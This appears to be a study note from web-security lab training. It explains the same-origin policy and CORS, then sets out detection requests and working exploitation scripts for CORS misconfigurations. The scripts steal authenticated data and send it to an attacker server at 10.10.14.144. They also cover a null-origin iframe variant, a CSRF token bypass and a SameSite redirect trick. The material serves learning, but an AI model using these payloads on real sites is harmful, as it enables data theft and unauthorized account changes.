Defense mechanisms#
Same Origin#
Same-Origin policy is a security mechanism implemented in web browsers to prevent cross-origin access to websites. In particular, JavaScript code running on one website cannot access a different website.
The origin is defined as the scheme, host, and port of a URL. eg:
http://localhost:80is the same ashttp://localhost, but not the same ashttp://localhost:8080- But
http://localhostis not the same ashttp://127.0.0.1 - And
http://localhostis also not the same ashttps://localhost.
JavaScript in browser can only send requests to the same origin.
CORS#
Cross-Origin Resource Sharing (CORS) is a W3C standard that defines exceptions to the Same-Origin Policy.
A web server can configure exceptions to the Same-Origin policy via CORS by setting any of the following CORS headers in the HTTP response
- Access-Control-Allow-Origin: define Same-Origin policy exceptions for a specific origin
- Access-Control-Expose-Headers: define Same-Origin policy exceptions for specific HTTP headers
- Access-Control-Allow-Methods: define Same-Origin policy exceptions for allowed HTTP methods in response to a preflight request
- Access-Control-Allow-Headers: define Same-Origin policy exceptions for allowed HTTP headers in response to a preflight request
- Access-Control-Allow-Credentials: if set to
true, define Same-Origin policy exceptions even if the cross-origin request contains credentials, i.e., cookies or anAuthorizationheader - Access-Control-Max-Age: define for how long the information in the other CORS-headers can be cached without issuing a new preflight request
Simple request#
The most straightforward CORS configuration is that of a so-called simple request, which can be made from plain HTML, without any script code. Simple requests can be GET or HEAD requests without any custom HTTP headers andPOST requests without any custom HTTP headers and a Content-Type of either application/x-www-form-urlencoded, multipart/form-data, or text/plain.
For example, if we have JavaScript code that runs on https://website.com that fetches data from https://api.website.com, like this:
GET /api/v2/users HTTP/1.1
Host: api.website.com
Origin: https://website.com/We have to set Access-Control-Allow-Origin: https://website.com on the https://api.website.com. This way, the browser can fetch this data.
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://website.com
Content-Type: application/json
[{"username": "admin", "password": "something"}]Preflight Request#
All requests that do not fall under the simple requests conditions are called preflighted requests. Before sending these cross-origin requests, the browser sends a preflight request to the different origin containing all the parameters of the actual cross-origin request
The preflight request is an OPTIONS request that contains the following headers:
- Access-Control-Request-Method: inform the server about the HTTP method used in the actual request
- Access-Control-Request-Headers: inform the server about the HTTP headers used in the actual request
For example, if we have JS code runs on https:website.com and create an entry to https://api.website.com with a POST request and application/json content type, it is not a simple request. So before sending the actual request, the browser send a preflight request, asking if the webapp accepts POST method with a custom Content-Type header.
OPTIONS /api/v2/users HTTP/1.1
Host: api.website.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-TypeIf the api.website.com webapp allows it, it will send back a response like this, indicating that the request is allowed
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://website.com
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: Content-TypeSince the webapp response saying that the request is allowed, the web browser continue on with the real request
POST /api/v2/users HTTP/1.1
Host: api.website.com
Content-Type: application/json
Origin: https://website.com/
{"username": "user", "password": "password"}And in turn, the webapp process and do the operation
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://website.com
Content-Type: application/json
{"result": "Success"}Misconfigs#
All exploits that needs authentication needs Access-Control-Allow-Credentials: true header, and SameSite=None cookie attribute, which needs Secure=Truecookie attribute.
If Access-Control-Allow-Origin header has value of a wildcard *, the webapp cannot use Access-Control-Allow-Credentials: true.
Arbitrary Origin Reflection#
Sometimes, admins have multiple websites on different domains/subdomains and all of them uses the main website, they might set it up so that the main website will read the Origin header from the request and reflect the value into Access-Control-Allow-Origin header in response. In addition, the main website might need authentication, so they might also set Access-Control-Allow-Credentials: true header
Detection#
For example, when we send this normal request:
GET /api/v2/data HTTP/1.1
Host: website.com
Origin: https://subdomain1.website.com/The webapp respond with this:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain1.website.com
Access-Control-Allow-Credentials: true
Content-Type: application/jsonNow we can try to edit the request and change the Origin header to somewhere else, to see if it will reflect in response
GET /api/v2/data HTTP/1.1
Host: website.com
Origin: https://doesnot.exists.com/If it is reflected, we know that the webapp is misconfigured
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://doesnot.exists.com
Access-Control-Allow-Credentials: true
Content-Type: application/jsonExploitation#
We can host a html page with this script and do some phishing.
Note that we have withCredentials = true. This simply means that the browser will send the request with the cookie. If the endpoint doesn’t have authentication, this is not needed (maybe internal website)
After getting data, we send it to our own exfiltration server at https://10.10.14.144:4443/log with a POST request
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://website.com/api/v2/data', true);
xhr.withCredentials = true;
xhr.onload = () => {
var exfil = new XMLHttpRequest();
exfil.open('POST', 'https://10.10.14.144:4443/log', true);
exfil.setRequestHeader('Content-Type', 'application/json');
exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
};
xhr.send();
</script>Improper Origin Whitelist#
Now that the admins are smarter and implement a whitelist of origin to reflect, but they misconfigured it. Forexample, they use a regex like "website.com$" which only checks if the origin ends in “website.com”.
Detection#
For example, when we send this normal request:
GET /api/v2/data HTTP/1.1
Host: website.com
Origin: https://subdomain1.website.com/The webapp respond with this:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain1.website.com
Access-Control-Allow-Credentials: true
Content-Type: application/jsonNow we can try to edit the request and change the Origin header to a non-existent subdomain, to see if it will reflect in response
GET /api/v2/data HTTP/1.1
Host: website.com
Origin: https://doesnotexists.website.com/If it is reflected, we know that the webapp is misconfigured
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://doesnotexists.website.com
Access-Control-Allow-Credentials: true
Content-Type: application/jsonOr a more serious case, if we change Origin to an entirely different domain, but ends with website.com like attacker-website.com
GET /api/v2/data HTTP/1.1
Host: website.com
Origin: https://attacker-website.com/And the webapp reflects that, it means that this is a more serious vulnerability
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker-website.com
Access-Control-Allow-Credentials: true
Content-Type: application/jsonExploitation#
Quite the same as above example code, but now we can:
- Host it on our own server with our own domain like
attacker-website.comin the case of a serious misconfiguration - Exploit another vulnerability in existing subdomain like XSS
- Exploit a subdomain takeover, host our code there and go phishing
Trusted null origin#
The Access-Control-Allow-Origin header also supports the value null. Some web applications may implement it due to a misconception of its meaning.
Detection#
Request
GET /api/v2/data HTTP/1.1
Host: website.com
Origin: nullResponse
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Content-Type: application/jsonEploitation#
Any origin can supply a null origin in the cross-origin request by using a sandboxed iframe:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://website.com/api/v2/data', true);
xhr.withCredentials = true;
xhr.onload = () => {
var exfil = new XMLHttpRequest();
exfil.open('POST', 'https://10.10.14.144:4443/log', true);
exfil.setRequestHeader('Content-Type', 'application/json');
exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
};
xhr.send();
</script>"></iframe>CSRF token bypass#
If misconfigurations happens on CORS headers and we can successfully exploit them, we can also bypass CSRF token (if the form has one) by issuing a GET request first, parse the DOM to get CSRF token and submit the action we want with the user’s cookie.
Exploitation#
Host this on whichever origin is allowed
<script>
// GET CSRF token
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://bypassing-csrftokens.htb/profile.php', false);
xhr.withCredentials = true;
xhr.send();
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf').value);
// do CSRF
var csrf_req = new XMLHttpRequest();
var params = `promote=htb-stdnt&csrf=${csrftoken}`;
csrf_req.open('POST', 'https://bypassing-csrftokens.htb/profile.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);
</script>Bypass SameSite Cookie Attributte#
Not exactly bypass, but there are several ways we can circumvent the restrictions imposed by SameSite cookies:
- When the session cookie has the
SameSiteattribute set toLax, it is only sent with safe requests such as GET requests.- We can bypass if the web application contains any endpoints that are state-changing and are accessed with GET requests
- The same if state-changing operations use POST requests, but the web application is misconfigured and accepts GET requests
SameSite=Strictis more complicated.- We have to find a client-side redirection that redirects to a state-changing endpoint, then we can send the user to the redirection with additional parameter
- Or we just can XSS from a subdomain, though we still needs CORS misconfigs
Detection#
This is for SameSite=Strict cookie attribute.
When accessing /admin.php?user=htb-stdnt, the webapp redirects us with a client-side redirection like <meta> tag
...
<meta http-equiv="refresh" content="3; url=/profile.php?user=htb-stdnt">
...We can try to inject %26, which is hex of & to add another parameter
GET /admin.php?user=htb-stdnt%26promote=htb-stdnt HTTP/1.1
Origin: https://attacker-server.comThen the webapp response, containing a <meta> tag redirection, along with the injected parameter
HTTP/1.1 200 OK
...
<meta http-equiv="refresh" content="3; url=/profile.php?user=htb-stdnt%26promote=htb-stdnt">
...Exploitation#
<script>
document.location = "https://vulnerablesite.htb/admin.php?user=htb-stdnt%26promote=htb-stdnt";
</script>